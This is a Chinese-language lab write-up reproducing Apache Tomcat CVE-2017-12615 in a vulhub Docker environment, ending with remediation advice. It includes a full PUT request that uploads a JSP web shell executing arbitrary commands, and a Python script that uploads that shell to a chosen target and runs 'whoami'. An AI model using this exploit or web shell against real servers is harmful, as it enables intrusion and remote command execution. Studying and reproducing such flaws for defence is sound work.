1 漏洞原理
-
在Apache Tomcat服务器中,PUT方法通常用于上传文件。攻击者可以通过发送PUT请求,将恶意文件上传到服务器。
-
当攻击者发送PUT请求时,Tomcat服务器会将请求中的数据写入指定的文件。如果攻击者能够控制文件路径,那么他们可以将恶意文件写入任意位置,从而实现任意文件写入。
2 漏洞影响
-
任意文件写入:攻击者可以通过构造恶意PUT请求,将恶意文件写入服务器的任意位置。这可能导致服务器被攻击者控制,或者敏感数据泄露。
-
远程代码执行:攻击者可以通过上传恶意脚本文件(如JSP文件)到服务器,然后通过访问该文件来执行恶意代码。这可能导致远程代码执行漏洞,进一步威胁服务器的安全。
-
信息泄露:攻击者可以通过写入恶意文件,访问服务器上的敏感信息,如配置文件、日志文件等。
3 环境搭建
进入vulhub目录 cd vulhub/tomcat/CVE-2017-12615 部署漏洞环境 docker compose build docker compose up -d 查看端口 docker compose ps
访问 ,您将看到页面,表示环境正在成功运行。
4 漏洞复现步骤
1 抓包后,右键单机Send to Repeater
2 修改请求方式为PUT,文件名为1.jsp(名字任意),内容填充shell脚本。
PUT /1.jsp/ HTTP/1.1 Host: 192.168.135.132:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=1CCD15499524302645C18183B820C173 Upgrade-Insecure-Requests: 1 Content-Length: 302 <%java.io.InputStream is = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();int a = -1;byte[] b = new byte[2048];while ((a = is.read(b)) != -1) {out.print(new String(b));} %>
这里看到返回201,应该已经上传成功了。
3.使用浏览器访问exc.jsp可以任意命令执行
5 编写python脚本探测漏洞是否存在
#!/usr/bin/env python import requests import time # 提示:本代码仅用于实验和学习目的,请谨慎使用。 print(" 注意:本代码仅用于实验和学习目的,请谨慎使用") # 定义要上传的恶意文件名 payload_file = 'shell1.jsp/' def cve_2017_12615():# 输入目标IP地址和端口url = input("请输入目标IP地址和端口(格式:http://172.30.230.107:8080/):")# 将payload_file添加到目标URLpayload_url = url + payload_fileprint(payload_url)# 定义请求头headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'} # 定义恶意脚本内容payload_body = ("<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();""int a = -1;""byte[] b = new byte[2048];""while((a=in.read(b))!=-1){out.println(new String(b));}""%>")# 使用PUT请求将恶意脚本写入服务器response = requests.put(payload_url, data=payload_body, headers=headers)print(payload_url[:-1])print(response.status_code)# 等待一会time.sleep(3)# 定义测试负载test_payload = {"cmd":"whoami"}# 发送GET请求测试恶意脚本是否成功执行response2 = requests.get(payload_url[:-1], headers=headers,params=test_payload)print(response2.status_code)if response2.status_code == 200:print("漏洞存在!!")else:print("漏洞不存在!!") # 调用cve_2017_12615()函数 cve_2017_12615()
结果
6 修复建议:
-
禁用PUT方法:在Apache Tomcat服务器的配置文件(如
web.xml
)中,禁用PUT方法,防止攻击者通过PUT请求上传文件。 -
限制文件上传路径:在应用程序中限制允许上传文件的路径,防止攻击者将恶意文件写入敏感位置。
-
输入验证和过滤:对用户输入进行严格的验证和过滤,防止恶意输入导致任意文件写入。
-
使用安全编码规范:遵循OWASP(开放Web应用程序安全项目)提供的安全编码规范,确保应用程序的安全性。
。